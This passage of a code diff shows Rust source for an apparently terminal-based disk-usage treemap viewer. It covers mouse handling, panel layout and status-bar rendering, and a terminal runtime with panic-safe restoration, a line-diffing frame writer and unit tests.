let f = self.apply_filter();
Cmd::batch(vec![w, tk, i, f])
}
/// Re-zooms into the remembered directory once the new scan has
/// discovered it. Takes the read lock itself.
pub fn resolve_pending_zoom(&mut self) {
let Some(pz) = self.pending_zoom.clone() else { return };
let arc = self.tree.clone();
let t = arc.read().unwrap();
let root = t.path_bytes(0);
let rel: &[u8] = if pz == root {
b""
} else if let Some(r) = pz.strip_prefix(root.as_slice()).filter(|r| root.ends_with(b"/") || r.starts_with(b"/")) {
r
} else {
self.pending_zoom = None;
return;
};
let mut id = 0;
for part in rel.split(|&b| b == b'/').filter(|p| !p.is_empty()) {
match t.children(id).find(|(_, n)| &*n.name == part) {
Some((c, _)) => id = c,
None => return, // not discovered yet
}
}
self.zoom = id;
self.pending_zoom = None;
self.dirty = true;
}
/// Renders the frame. Expensive work happens only when something
/// changed; otherwise the cached frame is returned.
pub fn view(&mut self) -> &str {
if self.dirty || self.frame.is_empty() {
self.frame = self.render();
self.dirty = false;
}
&self.frame
}
}
+121
View File
@@ -0,0 +1,121 @@
//! Mouse handling: clicks on recorded hit regions, wheel zoom/scroll and
//! hover.
use super::model::{is_group, Button, Cmd, HitAct, Model, NO_SEL};
use crate::inventory::{NodeId, Tree};
use std::time::{Duration, Instant};
const DOUBLE_CLICK: Duration = Duration::from_millis(400);
impl Model {
pub fn mouse_click(&mut self, x: i32, y: i32, button: Button) -> Cmd {
let arc = self.tree.clone();
let tr = arc.read().unwrap();
self.dirty = true;
if !self.modals.is_empty() {
// Clicking outside the modal closes it.
if self.hits.first().is_some_and(|h| !h.r.contains(x, y)) {
self.close_modal();
}
return Cmd::None;
}
if button == Button::Right {
if let Some(act) = self.hits.iter().find(|h| h.r.contains(x, y)).map(|h| h.act) {
let _ = self.run_hit(&tr, act, false);
return self.inspect_selection(&tr);
}
return Cmd::None;
}
if button != Button::Left {
return Cmd::None;
}
for i in (0..self.hits.len()).rev() {
if self.hits[i].r.contains(x, y) {
let key = (y as i64) << 32 | i as i64;
let double = self.last_click.is_some_and(|t| t.elapsed() < DOUBLE_CLICK) && self.last_click_i == key;
(self.last_click, self.last_click_i) = (Some(Instant::now()), key);
if double {
self.last_click_i = NO_SEL;
}
let act = self.hits[i].act;
return self.run_hit(&tr, act, double);
}
}
Cmd::None
}
fn run_hit(&mut self, tr: &Tree, act: HitAct, double: bool) -> Cmd {
match act {
HitAct::None => Cmd::None,
HitAct::SetView(i) => {
self.set_view(i);
Cmd::None
}
HitAct::ZoomTo(id) => {
self.zoom_to(tr, id);
Cmd::None
}
HitAct::Block(id) => self.click_block(tr, id, double),
HitAct::Row(i) => {
if let Some(tb) = self.views[self.view].table_mut() {
tb.cursor = i as i32;
}
if double {
return self.handle_key_name(tr, "enter");
}
Cmd::None
}
}
}
/// Selects a treemap block; a double click zooms (or inspects).
fn click_block(&mut self, tr: &Tree, id: i64, double: bool) -> Cmd {
self.sel = id;
if !double {
return Cmd::None;
}
if !is_group(id) && !tr.node(id as NodeId).is_dir() {
return self.inspect_selection(tr);
}
self.zoom_into_selection(tr)
}
pub fn mouse_wheel(&mut self, x: i32, y: i32, up: bool) -> Cmd {
let arc = self.tree.clone();
let tr = arc.read().unwrap();
self.dirty = true;
if let Some(f) = self.modals.last_mut() {
f.scroll += if up { -3 } else { 3 };
f.clamp_scroll();
return Cmd::None;
}
if up {
// Zoom towards the block under the pointer.
if let Some(l) = self.tm.clone() {
if self.view == 0 {
for b in &l.blocks {
if b.rect.contains(x, y) {
self.sel = b.id;
}
}
}
}
}
self.view_wheel(&tr, up)
}
pub fn mouse_motion(&mut self, x: i32, y: i32) {
let mut h = NO_SEL;
if let Some(l) = &self.tm {
if self.view == 0 && self.modals.is_empty() {
if let Some(b) = l.blocks.iter().find(|b| b.rect.contains(x, y)) {
h = b.id;
}
}
}
if h != self.hover {
self.hover = h;
self.dirty = true;
}
}
}
+378
View File
@@ -0,0 +1,378 @@
//! Frame composition: panel geometry, tabs, breadcrumbs, info and status
//! lines.
use super::canvas::{Canvas, Color, Depth, Style, Attr, BOLD, REVERSE, UNDERLINE};
use super::model::{is_group, Hit, HitAct, Model, Profile};
use super::{fmt_date, san, tw, trunc_left};
use crate::brand;
use crate::inventory::{Kind, Node, Tree, FLAG_SCANNED, NO_NODE};
use crate::textutil;
use crate::treemap::Rect;
/// Minimum usable terminal size.
pub(crate) const MIN_W: i32 = 40;
pub(crate) const MIN_H: i32 = 10;
#[derive(Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Debug)]
pub(crate) enum SizeClass {
TooSmall,
Small,
Medium,
Large,
}
/// The panel layout for one terminal size. It is recomputed from scratch for
/// every frame, so resizing can never leave stale geometry.
#[derive(Default)]
pub(crate) struct Geometry {
pub tabs: Rect, // empty in the small layout
pub crumbs: Rect,
pub main: Rect,
pub side: Rect,
pub info: Rect,
pub stat: Rect,
}
pub(crate) fn compute_geometry(w: i32, h: i32) -> (SizeClass, Geometry) {
let mut g = Geometry::default();
let class = if w < MIN_W || h < MIN_H {
return (SizeClass::TooSmall, g);
} else if w >= 150 && h >= 36 {
SizeClass::Large
} else if w >= 90 && h >= 22 {
SizeClass::Medium
} else {
SizeClass::Small
};
let mut y = 0;
if class >= SizeClass::Medium {
g.tabs = Rect { x: 0, y: 0, w, h: 1 };
y = 1;
}
g.crumbs = Rect { x: 0, y, w, h: 1 };
y += 1;
let mut bottom = h - 1;
g.stat = Rect { x: 0, y: h - 1, w, h: 1 };
if class >= SizeClass::Medium {
g.info = Rect { x: 0, y: h - 2, w, h: 1 };
bottom = h - 2;
}
g.main = Rect { x: 0, y, w, h: bottom - y };
if class == SizeClass::Large {
let sw = 40.min(w / 5);
g.side = Rect { x: 0, y, w: sw, h: g.main.h };
(g.main.x, g.main.w) = (sw, w - sw);
}
(class, g)
}
const SPINNER: [&str; 10] = ["⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏"];
impl Model {
pub fn render(&mut self) -> String {
let t = self.theme.clone();
let mut cv = Canvas::new(self.w, self.h, t.base());
self.hits.clear();
let (class, g) = compute_geometry(self.w, self.h);
if class == SizeClass::TooSmall {
self.render_too_small(&mut cv);
return cv.render(self.depth());
}
let arc = self.tree.clone();
let tr = arc.read().unwrap();
self.ensure_selection(&tr);
if g.tabs.w > 0 {
self.paint_tabs(&tr, &mut cv, g.tabs);
}
self.paint_crumbs(&tr, &mut cv, g.crumbs);
if !g.side.empty() {
self.paint_side(&tr, &mut cv, g.side);
}
self.paint_view(&tr, &mut cv, g.main);
if !g.info.empty() {
self.paint_info_line(&tr, &mut cv, g.info);
}
self.paint_status(&tr, &mut cv, g.stat, class);
if class == SizeClass::Small && self.search.editing {
self.paint_search(&mut cv, g.stat);
}
if !self.modals.is_empty() {
self.paint_modal(&tr, &mut cv);
}
cv.render(self.depth())
}
pub fn depth(&self) -> Depth {
match self.profile {
Profile::Ansi256 => Depth::C256,
Profile::Ansi => Depth::C16,
Profile::Ascii => Depth::None,
Profile::TrueColor => Depth::True,
}
}
fn render_too_small(&self, cv: &mut Canvas) {
let st = self.theme.muted();
let lines = ["Terminal too small".to_string(), format!("{}×{} — need {}×{}", self.w, self.h, MIN_W, MIN_H), "q quits".to_string()];
let y0 = 0.max((self.h - lines.len() as i32) / 2);
for (i, l) in lines.iter().enumerate() {
cv.text_centered(0, y0 + i as i32, self.w, l, st);
}
}
pub fn mono_rev(&self) -> Attr {
if self.theme.mono {
REVERSE
} else {
0
}
}
/// Draws the view tabs and mode chips.
fn paint_tabs(&mut self, tr: &Tree, cv: &mut Canvas, r: Rect) {
let t = self.theme.clone();
cv.fill(r, " ", t.header());
let badge = if t.ascii { format!(" {} ", brand::NAME) } else { format!(" ◧ {} ", brand::NAME) };
let mut x = cv.text(r.x, r.y, &badge, r.w, Style::new(t.text_on(t.accent), t.accent).with(BOLD | self.mono_rev()));
x += 1;
let names: Vec<&'static str> = self.views.iter().map(|v| v.name()).collect();
for (i, name) in names.iter().enumerate() {
let label = format!(" {name} ");
let st = if i == self.view {
Style::new(t.fg, t.bg).with(BOLD | UNDERLINE)
} else {
Style::new(t.muted, t.header_bg)
};
if x + tw(&label) >= r.w - 30 {
break;
}
let w = cv.text(x, r.y, &label, r.w - x, st);
self.hits.push(Hit { r: Rect { x, y: r.y, w, h: 1 }, act: HitAct::SetView(i) });
x += w;
}
// Right-aligned chips.
let mut chips: Vec<(String, Color)> = Vec::new();
if self.opts.read_only {
chips.push(("READ ONLY".into(), t.err));
}
if self.snapshot {
chips.push(("SNAPSHOT".into(), t.accent));
}
if self.opts.diff.is_some() {
chips.push(("COMPARE".into(), t.diff_new));
}
if self.search.query.is_some() {
chips.push(("FILTER".into(), t.warn));
}
if !tr.stats.excludes.is_empty() {
chips.push((format!("EXCL {}", tr.stats.excludes.len()), t.faint));
}
chips.push((self.size_mode.name().to_uppercase(), t.faint));
let mut rx = r.x + r.w;
for (s, bg) in chips.iter().rev() {
let s = format!(" {s} ");
let w = tw(&s);
if rx - w - 1 < x {
break;
}
rx -= w;
cv.text(rx, r.y, &s, w, Style::new(t.text_on(*bg), *bg).with(BOLD | self.mono_rev()));
rx -= 1;
}
}
/// Draws "/ › home › andy" breadcrumbs, truncated from the left, with the
/// zoom root's size on the right.
fn paint_crumbs(&mut self, tr: &Tree, cv: &mut Canvas, r: Rect) {
let t = self.theme.clone();
cv.fill(r, " ", t.header());
let z = tr.node(self.zoom);
let size = self.size_of(tr, self.zoom);
let mut right = format!(" {}", textutil::size(size));
let root = self.size_of(tr, 0);
if self.zoom != 0 && root > 0 {
right += &format!(" {} of scan", textutil::percent(size, root));
}
if let Some(res) = &self.search.result {
right += &format!(" ({} matches)", textutil::count(res.count));
}
if z.is_dir() {
right += &format!(" {} files", textutil::count(z.files as i64));
}
right += " ";
let mut rw = tw(&right);
if rw > r.w / 2 {
right = format!(" {} ", textutil::size_compact(size));
rw = tw(&right);
}
cv.text_right(r.x, r.y, r.w, &right, Style::new(t.header_fg, t.header_bg).with(BOLD));
let sep = if t.ascii { " > " } else { " › " };
let segs: Vec<(u32, String)> = tr.ancestors(self.zoom).into_iter().map(|id| (id, san(&tr.node(id).name))).collect();
let avail = r.w - rw - 2;
// Drop leading segments until the rest fits; keep at least the last.
let total = |from: usize| {
let mut w = 0;
for i in from..segs.len() {
w += tw(&segs[i].1);
if i > from {
w += tw(sep);
}
}
if from > 0 {
w += tw(&format!("…{sep}"));
}
w
};
let mut from = 0;
while from + 1 < segs.len() && total(from) > avail {
from += 1;
}
let mut x = r.x + 1;
if from > 0 {
x += cv.text(x, r.y, &format!("…{sep}"), avail, Style::new(t.muted, t.header_bg));
}
for i in from..segs.len() {
if i > from {
x += cv.text(x, r.y, sep, r.x + 1 + avail - x, Style::new(t.faint, t.header_bg));
}
let last = i == segs.len() - 1;
let st = if last { Style::new(t.fg, t.header_bg).with(BOLD) } else { Style::new(t.muted, t.header_bg) };
let s = if last { trunc_left(&segs[i].1, 1.max(r.x + 1 + avail - x)) } else { segs[i].1.clone() };
let w = cv.text(x, r.y, &s, r.x + 1 + avail - x, st);
self.hits.push(Hit { r: Rect { x, y: r.y, w, h: 1 }, act: HitAct::ZoomTo(segs[i].0) });
x += w;
}
}
/// Describes the selection (or shows the search editor).
fn paint_info_line(&mut self, tr: &Tree, cv: &mut Canvas, r: Rect) {
let t = self.theme.clone();
cv.fill(r, " ", t.panel());
if self.search.editing {
self.paint_search(cv, r);
return;
}
if self.search.query.is_some() {
self.paint_filter_summary(tr, cv, r);
return;
}
let d = self.describe_selection(tr);
cv.text(r.x + 1, r.y, &d, r.w - 2, t.panel());
}
pub fn describe_selection(&mut self, tr: &Tree) -> String {
let id = self.selected_node(tr);
if is_group(self.sel) {
if let Some(g) = self.group_info(self.sel) {
return format!(
"▸ {} smaller items · {} · {} of {} · Enter lists them",
textutil::count(g.ids().len() as i64),
textutil::size(g.size),
textutil::percent(g.size, self.size_of(tr, self.zoom)),
san(&tr.node(self.zoom).name)
);
}
}
if id == NO_NODE {
return "Nothing selected".into();
}
let n = tr.node(id);
let mut parts = vec![format!("▸ {}", san(&n.name)), textutil::size(self.size_of(tr, id))];
if n.parent != NO_NODE {
parts.push(textutil::percent(self.size_of(tr, id), self.size_of(tr, n.parent)) + " of parent");
}
if n.is_dir() {
parts.push(textutil::count(n.files as i64) + " files");
parts.push(textutil::count(n.dirs as i64) + " dirs");
if !n.has(FLAG_SCANNED) && self.scanning {
parts.push("scanning…".into());
}
} else {
parts.push(kind_label(n));
}
if n.mtime > 0 {
parts.push("modified ".to_string() + &fmt_date(n.mtime));
}
if n.errors > 0 {
parts.push(format!("{} errors", n.errors));
}
if let Some(d) = &self.opts.diff {
parts.push(textutil::signed_size(d.delta(tr, id, self.size_mode)) + " vs old snapshot");
}
parts.join(" · ")
}
/// Draws the live status bar.
fn paint_status(&mut self, tr: &Tree, cv: &mut Canvas, r: Rect, class: SizeClass) {
let t = self.theme.clone();
cv.fill(r, " ", t.status());
let help = if class == SizeClass::Small { " ? " } else { " ? help " };
let hw = cv.text(r.x + r.w - tw(help), r.y, help, r.w, Style::new(t.muted, t.status_bg));
let avail = r.w - hw - 1;
if !self.toast.is_empty() {
cv.text(r.x + 1, r.y, &self.toast, avail - 1, self.toast_style);
return;
}
let st = &tr.stats;
let root = tr.node(0);
let files = st.files + st.symlinks + st.others;
let mut parts: Vec<(String, Color)> = Vec::new();
if self.scanning {
let ms = std::time::SystemTime::now().duration_since(std::time::UNIX_EPOCH).unwrap_or_default().as_millis();
let frame = if t.ascii { "*" } else { SPINNER[(ms / 100) as usize % SPINNER.len()] };
parts.push((format!("{frame} scanning"), t.accent));
} else if st.cancelled {
parts.push(("✗ cancelled".into(), t.warn));
} else if self.snapshot {
parts.push(("◉ snapshot".into(), t.accent));
} else {
parts.push(("✓ complete".into(), t.ok));
}
parts.push((textutil::count(files) + " files", t.status_fg));
parts.push((textutil::size(root.total(self.size_mode)), t.status_fg));
if self.scanning {
let el = st.elapsed();
let p = self.scanner.as_ref().map(|s| s.progress()).unwrap_or_default();
parts.push((textutil::count((p.entries as f64 / el.as_secs_f64().max(0.001)) as i64) + "/s", t.status_fg));
if class != SizeClass::Small {
parts.push((format!("{} workers", p.workers), t.muted));
parts.push((format!("queue {}", textutil::count(p.pending)), t.muted));
}
parts.push((textutil::duration(el), t.muted));
} else if !self.snapshot && class != SizeClass::Small {
parts.push((textutil::duration(st.elapsed()), t.muted));
}
let e = st.total_errors();
if e > 0 {
parts.push((format!("{} errors", textutil::count(e)), t.err));
}
if st.excluded > 0 {
parts.push((format!("{} excluded", textutil::count(st.excluded)), t.warn));
}
if st.incomplete() && !self.scanning && class != SizeClass::Small {
parts.push(("totals incomplete".into(), t.warn));
}
let mut x = r.x + 1;
for (i, (s, fg)) in parts.iter().enumerate() {
let s = if i > 0 { format!(" {s}") } else { s.clone() };
if x + tw(&s) > r.x + avail {
break;
}
let mut st = Style::new(*fg, t.status_bg);
if i == 0 {
st.attr = BOLD;
}
x += cv.text(x, r.y, &s, avail - x, st);
}
}
}
pub(crate) fn kind_label(n: &Node) -> String {
match n.kind {
Kind::File => n.cat.name().to_string(),
Kind::Symlink => "symlink".into(),
k => k.name().to_string(),
}
}
+474
View File
@@ -0,0 +1,474 @@
//! The terminal runtime: raw mode and alternate screen, an input thread,
//! timers and background commands feeding one message loop, and a
//! line-diffing frame writer.
//!
//! The terminal is restored on every exit path: normal quit, errors and
//! panics (a panic hook restores it before the default hook prints; the
//! scanner aborts the process on worker panics after the hook has run).
use super::model::{debug_panic, Button, Cmd, Key, Model, Msg, Options, Profile};
use crate::brand;
use crate::cancel::Cancel;
use crate::textutil;
use crossbeam_channel::{after, select, Receiver, Sender};
use crossterm::event::{self, Event, KeyCode, KeyEvent, KeyEventKind, KeyModifiers, MouseButton, MouseEventKind};
use crossterm::{cursor, execute, terminal};
use std::fmt::Write as _;
use std::io::{self, Write};
use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::{Arc, Once};
use std::time::{Duration, Instant};
/// Whether the terminal is currently in TUI mode (raw, alternate screen).
static ACTIVE: AtomicBool = AtomicBool::new(false);
/// Set by the SIGTERM handler; the input thread turns it into a quit.
static TERMINATED: AtomicBool = AtomicBool::new(false);
/// Mouse off (1000/1002/1003/1015/1006), bracketed paste off, cursor on,
/// main screen.
const RESTORE: &str = "\x1b[?1006l\x1b[?1015l\x1b[?1003l\x1b[?1002l\x1b[?1000l\x1b[?2004l\x1b[?25h\x1b[?1049l";
fn write_raw(s: &str) {
let mut b = s.as_bytes();
while !b.is_empty() {
let n = unsafe { libc::write(1, b.as_ptr().cast(), b.len()) };
if n <= 0 {
return;
}
b = &b[n as usize..];
}
}
/// Leaves TUI mode. Safe to call repeatedly and from the panic hook (it
/// writes directly to fd 1, so it cannot block on a stdout lock).
fn restore_terminal() {
if ACTIVE.swap(false, Ordering::SeqCst) {
write_raw(RESTORE);
let _ = terminal::disable_raw_mode();
}
}
fn install_panic_hook() {
static ONCE: Once = Once::new();
ONCE.call_once(|| {
let prev = std::panic::take_hook();
std::panic::set_hook(Box::new(move |info| {
restore_terminal();
prev(info);
}));
extern "C" fn on_term(_: libc::c_int) {
TERMINATED.store(true, Ordering::SeqCst);
}
unsafe { libc::signal(libc::SIGTERM, on_term as *const () as libc::sighandler_t) };
});
}
fn forced_profile(c: &str) -> Option<Profile> {
match c {
"truecolor" | "24bit" => Some(Profile::TrueColor),
"256" => Some(Profile::Ansi256),
"16" => Some(Profile::Ansi),
"none" => Some(Profile::Ascii),
_ => None,
}
}
/// Detects the colour profile from the environment (NO_COLOR, COLORTERM,
/// TERM). Over SSH COLORTERM is often not forwarded; --color overrides.
fn detect_profile() -> Profile {
let env = |k: &str| std::env::var(k).unwrap_or_default().to_lowercase();
let (term, ct) = (env("TERM"), env("COLORTERM"));
if !env("NO_COLOR").is_empty() || term == "dumb" {
return Profile::Ascii;
}
if ct == "truecolor" || ct == "24bit" || term.ends_with("-direct") {
return Profile::TrueColor;
}
if ["kitty", "alacritty", "wezterm", "ghostty", "foot", "contour", "rio"].iter().any(|t| term.contains(t)) {
return Profile::TrueColor;
}
if term.contains("256color") || !ct.is_empty() {
return Profile::Ansi256;
}
Profile::Ansi
}
/// Starts the interactive UI.
pub fn run(opts: Options) -> Result<(), crate::Error> {
let cancel = Cancel::new();
let (s, t) = (opts.start)(cancel.clone())?;
let forced = forced_profile(&opts.color);
if forced.is_none() && !opts.color.is_empty() && opts.color != "auto" {
cancel.cancel();
return Err(format!("invalid --color {:?} (auto, truecolor, 256, 16, none)", opts.color).into());
}
let mouse = opts.mouse;
let mut m = Model::new(opts, s, t, cancel.clone());
m.profile = forced.unwrap_or_else(detect_profile);
install_panic_hook();
if debug_panic() == "scanner" {
std::thread::spawn(|| {
std::thread::sleep(Duration::from_millis(500));
// Mirrors the scanner's guard: a worker panic aborts after the hook.
if std::panic::catch_unwind(|| panic!("MAPSIZE_DEBUG_PANIC=scanner: deliberate panic to test terminal restoration")).is_err() {
std::process::abort();
}
});
}
let res = enter_terminal(mouse).and_then(|_| event_loop(&mut m));
restore_terminal();
cancel.cancel();
m.cancel.cancel(); // a rescan may have replaced the token
Ok(res?)
}
fn enter_terminal(mouse: bool) -> io::Result<()> {
terminal::enable_raw_mode()?;
ACTIVE.store(true, Ordering::SeqCst);
let mut out = io::stdout();
execute!(out, terminal::EnterAlternateScreen, cursor::Hide, event::EnableBracketedPaste, terminal::SetTitle(brand::NAME))?;
if mouse {
execute!(out, event::EnableMouseCapture)?;
}
Ok(())
}
/// Bubble Tea keystroke name for a key event.
fn convert_key(ev: KeyEvent) -> Option<Key> {
if ev.kind == KeyEventKind::Release {
return None;
}
let m = ev.modifiers;
let (ctrl, alt, shift) = (m.contains(KeyModifiers::CONTROL), m.contains(KeyModifiers::ALT), m.contains(KeyModifiers::SHIFT));
let mut prefix = String::new();
if ctrl {
prefix += "ctrl+";
}
if alt {
prefix += "alt+";
}
let named = |n: &str| Some(Key { name: format!("{prefix}{}{n}", if shift { "shift+" } else { "" }), text: String::new(), ctrl_alt: ctrl || alt });
match ev.code {
KeyCode::Char(c) => {
let base = if c == ' ' { "space".to_string() } else if ctrl || alt { c.to_lowercase().collect() } else { c.to_string() };
let text = if ctrl || alt { String::new() } else { c.to_string() };
Some(Key { name: prefix + &base, text, ctrl_alt: ctrl || alt })
}
KeyCode::BackTab => Some(Key { name: format!("{prefix}shift+tab"), ..Default::default() }),
KeyCode::Enter => named("enter"),
KeyCode::Esc => named("esc"),
KeyCode::Tab => named("tab"),
KeyCode::Backspace => named("backspace"),
KeyCode::Delete => named("delete"),
KeyCode::Insert => named("insert"),
KeyCode::Home => named("home"),
KeyCode::End => named("end"),
KeyCode::PageUp => named("pgup"),
KeyCode::PageDown => named("pgdown"),
KeyCode::Up => named("up"),
KeyCode::Down => named("down"),
KeyCode::Left => named("left"),
KeyCode::Right => named("right"),
KeyCode::F(n) => named(&format!("f{n}")),
_ => None,
}
}
fn convert(ev: Event) -> Option<Msg> {
match ev {
Event::Key(k) => convert_key(k).map(Msg::Key),
Event::Resize(w, h) => Some(Msg::Size(w as i32, h as i32)),
Event::Mouse(me) => {
let (x, y) = (me.column as i32, me.row as i32);
match me.kind {
MouseEventKind::Down(b) => {
let button = match b {
MouseButton::Left => Button::Left,
MouseButton::Right => Button::Right,
MouseButton::Middle => Button::Middle,
};
Some(Msg::Click { x, y, button })
}
MouseEventKind::ScrollUp => Some(Msg::Wheel { x, y, up: true }),
MouseEventKind::ScrollDown => Some(Msg::Wheel { x, y, up: false }),
MouseEventKind::Moved | MouseEventKind::Drag(_) => Some(Msg::Motion { x, y }),
_ => None,
}
}
// Pastes are ignored, as in the Go version.
_ => None,
}
}
/// Reads terminal events until stopped.
fn input_thread(tx: Sender<Msg>, stop: Arc<AtomicBool>) {
while !stop.load(Ordering::Relaxed) {
if TERMINATED.load(Ordering::SeqCst) {
let _ = tx.send(Msg::Quit);
return;
}
match event::poll(Duration::from_millis(100)) {
Ok(true) => match event::read() {
Ok(ev) => {
if let Some(msg) = convert(ev) {
if tx.send(msg).is_err() {
return;
}
}
}
Err(_) => return,
},
Ok(false) => {}
Err(_) => return,
}
}
}
/// Executes commands: background closures on threads, timers in the loop,
/// clipboard writes into the output.
struct Runtime {
tx: Sender<Msg>,
timers: Vec<(Instant, Msg)>,
out: String, // pending escape sequences (clipboard)
}
impl Runtime {
fn exec(&mut self, cmd: Cmd) {
match cmd {
Cmd::None => {}
Cmd::Batch(v) => v.into_iter().for_each(|c| self.exec(c)),
Cmd::Run(f) => {
let tx = self.tx.clone();
std::thread::spawn(move || {
let _ = tx.send(f());
});
}
Cmd::Tick(d, msg) => self.timers.push((Instant::now() + d, msg)),
Cmd::Clipboard(s) => {
let _ = write!(self.out, "\x1b]52;c;{}\x07", base64(s.as_bytes()));
}
}
}
}
fn base64(b: &[u8]) -> String {
const A: &[u8; 64] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
let mut s = String::with_capacity(b.len().div_ceil(3) * 4);
for c in b.chunks(3) {
let n = (c[0] as u32) << 16 | (*c.get(1).unwrap_or(&0) as u32) << 8 | *c.get(2).unwrap_or(&0) as u32;
for i in 0..4 {
if i <= c.len() {
s.push(A[(n >> (18 - 6 * i) & 63) as usize] as char);
} else {
s.push('=');
}
}
}
s
}
/// Writes frames, rewriting only what changed since the last one: within a
/// changed line, the span between the first and last differing style run.
#[derive(Default)]
struct Screen {
prev: Vec<String>,
size: (i32, i32),
buf: String,
}
/// Splits a serialised line into its SGR-led runs as (start byte, start
/// column). The canvas emits an escape only to start a run (text is
/// sanitised), and the trailing reset is a zero-width run.
fn runs(l: &str) -> Vec<(usize, usize)> {
let starts: Vec<usize> = l.match_indices("\x1b[").map(|(i, _)| i).collect();
let mut col = 0;
let mut out = Vec::with_capacity(starts.len());
for (k, &s) in starts.iter().enumerate() {
let seg = &l[s..starts.get(k + 1).copied().unwrap_or(l.len())];
out.push((s, col));
col += textutil::width(&seg[seg.find('m').map_or(seg.len(), |p| p + 1)..]);
}
out
}
/// The changed parts of a line as (column, byte range of new): runs of new
/// that do not appear unchanged at the same column in old, grouped into
/// contiguous segments. Empty if the lines are equal.
fn line_diff(old: &str, new: &str) -> Vec<(usize, std::ops::Range<usize>)> {
if old == new {
return Vec::new();
}
let (ro, rn) = (runs(old), runs(new));
let end = |l: &str, r: &[(usize, usize)], k: usize| r.get(k + 1).map_or(l.len(), |x| x.0);
let mut changed = vec![true; rn.len()];
let (mut i, mut j) = (0, 0);
while i < ro.len() && j < rn.len() {
let (co, cn) = (ro[i].1, rn[j].1);
if co == cn {
changed[j] = old[ro[i].0..end(old, &ro, i)] != new[rn[j].0..end(new, &rn, j)];
(i, j) = (i + 1, j + 1);
} else if co < cn {
i += 1;
} else {
j += 1;
}
}
let mut out: Vec<(usize, std::ops::Range<usize>)> = Vec::new();
for (k, &c) in changed.iter().enumerate() {
if !c {
continue;
}
let r = rn[k].0..end(new, &rn, k);
match out.last_mut() {
Some(last) if last.1.end == r.start => last.1.end = r.end,
_ => out.push((rn[k].1, r)),
}
}
if out.is_empty() {
out.push((0, 0..new.len())); // a line without runs (cannot happen)
}
out
}
impl Screen {
fn draw(&mut self, out: &mut impl Write, frame: &str, w: i32, h: i32, extra: &str) -> io::Result<()> {
self.buf.clear();
self.buf.push_str("\x1b[?2026h"); // synchronized output, where supported
if (w, h) != self.size {
self.buf.push_str("\x1b[0m\x1b[2J");
self.prev.clear();
self.size = (w, h);
}
let mut n = 0;
for (y, l) in frame.split('\n').enumerate() {
match self.prev.get_mut(y) {
Some(p) => {
let d = line_diff(p, l);
for (col, r) in &d {
let _ = write!(self.buf, "\x1b[{};{}H{}", y + 1, col + 1, &l[r.clone()]);
}
if !d.is_empty() {
p.clear();
p.push_str(l);
}
}
None => {
let _ = write!(self.buf, "\x1b[{};1H{l}", y + 1);
self.prev.push(l.to_string());
}
}
n = y + 1;
}
self.prev.truncate(n);
self.buf.push_str(extra);
self.buf.push_str("\x1b[?2026l");
out.write_all(self.buf.as_bytes())?;
out.flush()
}
}
fn next_msg(rx: &Receiver<Msg>, timers: &[(Instant, Msg)]) -> Option<Msg> {
match timers.iter().map(|t| t.0).min() {
Some(d) => select! {
recv(rx) -> msg => msg.ok(),
recv(after(d.saturating_duration_since(Instant::now()))) -> _ => None,
},
None => rx.recv().ok(),
}
}
fn event_loop(m: &mut Model) -> io::Result<()> {
let (tx, rx) = crossbeam_channel::unbounded::<Msg>();
let stop = Arc::new(AtomicBool::new(false));
{
let (tx, stop) = (tx.clone(), stop.clone());
std::thread::spawn(move || input_thread(tx, stop));
}
let (w, h) = terminal::size()?;
let mut rt = Runtime { tx, timers: Vec::new(), out: String::new() };
rt.exec(m.update(Msg::Size(w as i32, h as i32)));
let init = m.init();
rt.exec(init);
let mut screen = Screen::default();
let mut stdout = io::stdout();
let mut last = String::new();
let res = loop {
if m.quit {
break Ok(());
}
let (w, h) = (m.w, m.h);
let frame = m.view();
if frame != last || !rt.out.is_empty() {
if let Err(e) = screen.draw(&mut stdout, frame, w, h, &rt.out) {
break Err(e);
}
last.clear();
last.push_str(frame);
rt.out.clear();
}
if let Some(msg) = next_msg(&rx, &rt.timers) {
let c = m.update(msg);
rt.exec(c);
}
// Fire due timers, then drain whatever else is queued before the next
// frame, so bursts (resize storms) cost one render.
let now = Instant::now();
let (due, later): (Vec<_>, Vec<_>) = std::mem::take(&mut rt.timers).into_iter().partition(|t| t.0 <= now);
rt.timers = later;
for (_, msg) in due {
let c = m.update(msg);
rt.exec(c);
}
while let Ok(msg) = rx.try_recv() {
if m.quit {
break;
}
let c = m.update(msg);
rt.exec(c);
}
};
stop.store(true, Ordering::Relaxed);
res
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn base64_matches_rfc4648() {
for (i, o) in [("", ""), ("f", "Zg=="), ("fo", "Zm8="), ("foo", "Zm9v"), ("foob", "Zm9vYg=="), ("foobar", "Zm9vYmFy")] {
assert_eq!(base64(i.as_bytes()), o);
}
}
#[test]
fn screen_rewrites_only_changed_lines() {
let mut s = Screen::default();
let mut out = Vec::new();
s.draw(&mut out, "a\nb\nc", 1, 3, "").unwrap();
out.clear();
s.draw(&mut out, "a\nX\nc", 1, 3, "").unwrap();
assert_eq!(String::from_utf8(out).unwrap(), "\x1b[?2026h\x1b[2;1HX\x1b[?2026l");
// Within a line only the differing style runs are rewritten.
let a = "\x1b[0;1mab\x1b[0;7m日x\x1b[0mcd\x1b[0m";
let b = "\x1b[0;1mab\x1b[0;7m日y\x1b[0mcd\x1b[0m";
assert_eq!(line_diff(a, b), vec![(2, 8..18)]);
assert_eq!(&b[8..18], "\x1b[0;7m日y");
assert!(line_diff(a, a).is_empty());
let c = "\x1b[0;2mab\x1b[0;7m日x\x1b[0mcz\x1b[0m";
assert_eq!(line_diff(a, c), vec![(0, 0..8), (5, 18..24)]);
}
#[test]
fn keys_use_bubbletea_names() {
let k = |code, m| convert_key(KeyEvent::new(code, m)).unwrap().name;
assert_eq!(k(KeyCode::Char('c'), KeyModifiers::CONTROL), "ctrl+c");
assert_eq!(k(KeyCode::Char('G'), KeyModifiers::SHIFT), "G");
assert_eq!(k(KeyCode::Char(' '), KeyModifiers::NONE), "space");
assert_eq!(k(KeyCode::BackTab, KeyModifiers::SHIFT), "shift+tab");
assert_eq!(k(KeyCode::PageDown, KeyModifiers::NONE), "pgdown");
assert_eq!(k(KeyCode::Backspace, KeyModifiers::ALT), "alt+backspace");
}
}
+277
View File
@@ -0,0 +1,277 @@
//! The search/filter editor and background filter evaluation.
use super::canvas::{Canvas, Style, BOLD};
